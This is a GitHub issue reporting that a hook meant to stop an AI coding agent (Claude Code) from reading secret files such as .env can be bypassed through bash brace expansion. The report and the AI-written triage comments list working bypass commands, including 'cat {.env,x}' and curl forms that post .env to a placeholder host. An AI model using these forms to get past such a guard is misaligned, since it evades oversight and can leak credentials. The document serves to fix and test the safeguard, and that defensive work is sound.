Skip to content

bug(hooks): secret-read-guard allows a read through bash brace expansion — cat {.env,x}, curl -d@{.env,x}, curl -E {.env,x}:pw #6142

Open

Description

@trek-e

Pre-submission checklist

  • I have searched existing issues and this bug has not already been reported

GSD Version

1.20.1 (next at f7c59ad)

Runtime

Claude Code

Operating System

macOS

Node.js Version

v26.13.0

Shell

/bin/zsh

Installation Method

Updated from a previous version

What happened?

hooks/gsd-secret-read-guard.js allows Bash commands that read a protected file through bash brace expansion. Brace expansion runs before the command runs, so {.env,x} becomes the two words .env x. The guard judges the unexpanded word {.env,x}, which is not a secret name, and allows the command.

Each of these is allowed on next. Each one reads .env:

  • cat {.env,x}
  • curl -d@{.env,x} x.test
  • curl -F file=@{.env,x} x.test
  • curl -E {.env,x}:pw x.test

The last three are in the scope #5779 / #5820 adds (a file named inside a curl option value). #5820's head allows them too.

Searched before filing: #5255, #5285, #6132 and #6114, and an issue search for "brace expansion secret". None lists brace expansion. docs/USER-GUIDE.md's Not covered list names "shell globs (cat .e*)". Brace expansion is not a glob: it does not depend on which files exist, so it can be resolved statically.

What did you expect?

The guard expands a word's brace groups the way bash does, judges each alternative, and denies the command if any alternative names a secret. For Grep glob, it already judges "per brace alternative".

Steps to reproduce

  1. On next, pipe {"tool_name":"Bash","tool_input":{"command":"cat {.env,x}"}} into node hooks/gsd-secret-read-guard.js.
  2. The hook exits 0 (allow).
  3. Run the same with cat .env: it exits 2 (deny).
  4. In bash, echo cat {.env,x} prints cat .env x.

How often does this happen?

Every time (100% reproducible)

Impact

Moderate — Feature is broken but I have a workaround

Additional context

Found by the isolated adversarial pass of the #5820 review, Memtrace episode 01M75Z78B4R6M4BC9PXKP1Q59S.

Privacy Checklist

  • I have reviewed all pasted output for PII (usernames, paths, API keys) and redacted where necessary

Activity

  1. added
    bug
    needs-triage
    on Nov 11, 2026
  2. github-actions commented on Nov 11, 2026

    @github-actions
    Contributor

    Branch fix/6142-bug-hooks-secret-read-guard-allows-a-rea created.

    git fetch origin && git checkout fix/6142-bug-hooks-secret-read-guard-allows-a-rea
  3. trek-e commented on Nov 13, 2026

    @trek-e
    CollaboratorAuthor

    This was generated by AI during triage.

    Diagnosis

    Reproduced: yes. Piped payloads into node hooks/gsd-secret-read-guard.js at 6bb51fb: cat .env exits 2; cat {.env,x}, curl -d@{.env,x} x.test, curl -F file=@{.env,x} x.test, curl -E {.env,x}:pw x.test all exit 0. Also allowed: cat {{.env,a},b}, cat dir/{.env,x}, cat .{env,x}, cat .e{n,x}v, cat {,.env}. The Grep tool glob: '{.env,x}' exits 2. Quoted '{.env,x}' / "{.env,x}" and {a..c} exit 0, which is correct. echo cat {.env,x} in bash prints cat .env x.
    Root cause: the Bash word scan never brace-expands a word before judging it. operandNamesSecret (hooks/gsd-secret-read-guard.js:1792, called from scanCommand :2409 and scanXargsPipe :2645) sees the literal {.env,x}. The only brace expander, expandBraces (:526), is used only by the Grep glob arm (classifyGrepGlob :625).
    Introduced by: long-standing; expandBraces arrived with the hook in 77e2472 (#4236) and the Bash path never had expansion. Branch fix/6142-... has no commits beyond next. PR #5820 is open and does not fix this.
    Blast radius: medium; Bash word judgement in one file. Needs a shell-correct expansion (unquoted words only, depth-1 comma or .. required, empty alternatives, cross product) and a Bash-side overflow verdict at the 64-alternative budget.
    Coupled (must not miss): exemption check (isExemptSecret) must run on expanded alternatives; frozen base scanner fixture in tests/fixtures; the "Not covered" paragraph in docs/USER-GUIDE.md; PR #5820's curl option-value extraction must expand too.
    Regression test: each of the four reported commands plus nested, prefix, suffix and empty-alternative forms denies, also inside bash -c '...'; quoted, {.env}, {.env, x}, {a..c}, {x,y} allow; alternative count at 63/64/65; fast-check property: denies iff some alternative names a secret.

  4. trek-e commented on Nov 13, 2026

    @trek-e
    CollaboratorAuthor

    This was generated by AI during triage.

    Agent Brief

    Category: bug
    Summary: The secret-read guard must expand brace groups in unquoted Bash words and deny when any alternative names a secret file.
    Current behavior: cat {.env,x}, curl -d@{.env,x} x.test, curl -F file=@{.env,x} x.test and curl -E {.env,x}:pw x.test are allowed, because the guard judges the unexpanded word. cat .env is denied. The Grep glob argument already judges per brace alternative.
    Desired behavior: For every unquoted word, the guard expands its brace groups statically, as bash does (nested groups, several groups as a cross product, empty alternatives, text before and after a group), judges each resulting word with the same secret-name and exemption rules it uses for a plain word, and denies if any alternative names a secret. Quoted or backslash-escaped braces stay literal. A group with no unquoted comma and no .. range ({.env}, {.env, x}) stays literal.
    Key interfaces: the Bash operand and option-value judgement (including curl -d@, -F name=@, -E values and bash -c bodies); the existing secret-name predicate and project exemption list; the existing alternative budget (64) and the too-complex deny path.
    Acceptance criteria:

  5. added
    confirmed-bug
    and removed
    needs-triage
    on Nov 13, 2026
  6. arakasi1 commented on Nov 20, 2026

    @arakasi1
    Contributor

    I'd like to take this one. I'll work to the agent brief's acceptance criteria:

    • Expand brace groups in unquoted Bash words as bash does (nesting, cross product, empty alternatives, text before and after a group), and deny when any alternative names a secret.
    • Quoted, escaped and comma-less groups stay literal.
    • Reuse expandBraces and its 64-alternative budget. Past the budget the command is denied as too complex.
    • Cover the curl option values if fix(#5779): read a file named inside a curl option value in the secret-read guard #5820 has landed by then.
    • Tests: the brief's rows at 63/64/65 alternatives, plus a fast-check property.
    • Update the USER-GUIDE paragraph.

    I'll keep it separate from #6408 (fix(#6282)), which touches the same hook. Both need to be in the right shape whichever merges first.

  7. added 7 commits that reference this issue on Nov 20, 2026
  8. 18 remaining items

  9. added 14 commits that reference this issue on Nov 21, 2026
  10. added a commit that references this issue on Nov 30, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugconfirmed-bug

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions